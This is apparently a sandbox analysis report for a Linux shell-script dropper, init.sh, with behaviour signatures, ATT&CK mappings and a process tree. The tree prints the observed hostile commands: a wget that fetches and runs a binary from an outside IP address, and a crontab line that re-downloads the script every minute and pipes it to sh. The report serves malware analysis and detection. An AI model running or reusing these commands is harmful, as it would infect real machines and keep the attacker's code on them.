Overview

overview

7

Static

static

1

init.sh

ubuntu-18.04-amd64

7

init.sh

debian-9-armhf

7

init.sh

debian-9-mips

7

init.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    147s
  • max time network
    148s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    20/06/2026, 18:10

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    init.sh
  • Size 13KB
  • Sample260620-wsjsbsgt6l
  • SHA256 0dce6cfc2371c7c483e06130781ebf4a1f713abb55d2c9dd7d9d86377c0000e7
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationupx

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deletes itself 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Creates/modifies Cron job 1 TTPs 2 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Reads MAC address of network interface 2 TTPs 1 IoCs

    Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

    defense_evasiondiscovery
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/init.sh
    /tmp/init.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:654
    • /bin/uname
      uname -m
      2⤵
        PID:665
      • /usr/bin/od
        od -to2
        2⤵
          PID:670
        • /usr/bin/awk
          awk "NR==1{ exit substr(\$2,6,1) == \"1\" ? 0 : 1 }"
          2⤵
            PID:671
          • /bin/chmod
            chmod +x /tmp/.exectest.654
            2⤵
            • File and Directory Permissions Modification
            PID:677
          • /tmp/.exectest.654
            /tmp/.exectest.654
            2⤵
              PID:682
            • /bin/rm
              rm -f /tmp/.exectest.654
              2⤵
                PID:684
              • /usr/bin/wget
                wget -q --no-check-certificate "--timeout=10" http://91.239.211.89/bins/kworkerd-blkcg -O /tmp/.d
                2⤵
                • Writes file to tmp directory
                PID:686
              • /bin/chmod
                chmod +x /tmp/.d
                2⤵
                • File and Directory Permissions Modification
                PID:690
              • /tmp/.d
                /tmp/.d
                2⤵
                • Deletes itself
                • Modifies Watchdog functionality
                • Creates/modifies Cron job
                • Enumerates active TCP sockets
                • Modifies systemd
                • Reads MAC address of network interface
                • Changes its process name
                • Checks CPU configuration
                • Reads system network configuration
                • Enumerates kernel/hardware configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:691
                • /bin/sh
                  sh -c "/bin/systemctl daemon-reload 2>/dev/null"
                  3⤵
                    PID:696
                    • /bin/systemctl
                      /bin/systemctl daemon-reload
                      4⤵
                      • Enumerates kernel/hardware configuration
                      • Reads runtime system information
                      PID:697
                  • /bin/sh
                    sh -c "/bin/systemctl enable --now redis-sentinel.service 2>/dev/null"
                    3⤵
                      PID:710
                      • /bin/systemctl
                        /bin/systemctl enable --now redis-sentinel.service
                        4⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:711
                    • /bin/sh
                      sh -c "/usr/bin/crontab -l 2>/dev/null"
                      3⤵
                        PID:734
                        • /usr/bin/crontab
                          /usr/bin/crontab -l
                          4⤵
                          • Reads runtime system information
                          PID:735
                      • /bin/sh
                        sh -c "/usr/bin/crontab - <<'ENDCRON' * * * * * /bin/sh -c 'kill -0 694 2>/dev/null && exit 0; (wget -qO- http://91.239.211.89/init.sh || curl -sL http://91.239.211.89/init.sh) | /bin/sh' > /dev/null 2>&1 ENDCRON"
                        3⤵
                          PID:738
                          • /usr/bin/crontab
                            /usr/bin/crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:739
                      • /bin/sleep
                        sleep 8
                        2⤵
                          PID:692
                        • /usr/bin/basename
                          basename /tmp/init.sh
                          2⤵
                            PID:805
                          • /bin/rm
                            rm -f /tmp/init.sh
                            2⤵
                              PID:806

                          Network

                                MITRE ATT&CK Enterprise v16

                                Reconnaissance

                                Resource Development

                                Initial Access

                                Execution

                                Scheduled Task/Job

                                1
                                T1053

                                Cron

                                1
                                T1053.003

                                Persistence

                                Boot or Logon Autostart Execution

                                1
                                T1547

                                XDG Autostart Entries

                                1
                                T1547.013

                                Create or Modify System Process

                                1
                                T1543

                                Systemd Service

                                1
                                T1543.002

                                Scheduled Task/Job

                                1
                                T1053

                                Cron

                                1
                                T1053.003

                                Privilege Escalation

                                Boot or Logon Autostart Execution

                                1
                                T1547

                                XDG Autostart Entries

                                1
                                T1547.013

                                Create or Modify System Process

                                1
                                T1543

                                Systemd Service

                                1
                                T1543.002

                                Scheduled Task/Job

                                1
                                T1053

                                Cron

                                1
                                T1053.003

                                Defense Evasion

                                File and Directory Permissions Modification

                                1
                                T1222

                                Linux and Mac File and Directory Permissions Modification

                                1
                                T1222.002

                                Impair Defenses

                                1
                                T1562

                                Virtualization/Sandbox Evasion

                                1
                                T1497

                                System Checks

                                1
                                T1497.001

                                Credential Access

                                Discovery

                                System Information Discovery

                                1
                                T1082

                                System Network Configuration Discovery

                                2
                                T1016

                                Internet Connection Discovery

                                1
                                T1016.001

                                Wi-Fi Discovery

                                1
                                T1016.002

                                System Network Connections Discovery

                                2
                                T1049

                                Virtualization/Sandbox Evasion

                                1
                                T1497

                                System Checks

                                1
                                T1497.001

                                Lateral Movement

                                Collection

                                Command and Control

                                Exfiltration

                                Impact

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                .d
                                • Path /tmp/.d
                                • Size 102KB
                                • SHA256 915d8baa66a420bd67b75a9d6152ab99036c16d29f1b73b2ad4d8e3dbae382e2
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                .exectest.654
                                • Path /tmp/.exectest.654
                                • Size 18B
                                • SHA256 b4d644d4279594903f1a9911956432d9473041f2984fc6014c14d7402c7d126c
                                • MD5 SHA1 SHA512
                                Submit Download

                                tmp.YJCfOO
                                • Path /var/spool/cron/crontabs/tmp.YJCfOO
                                • Size 342B
                                • SHA256 985e12e27f4d0dddc9356c6260ac4b435add50937254ec6266552e1697d0b9de
                                • MD5 SHA1 SHA512 TLSH
                                Submit Download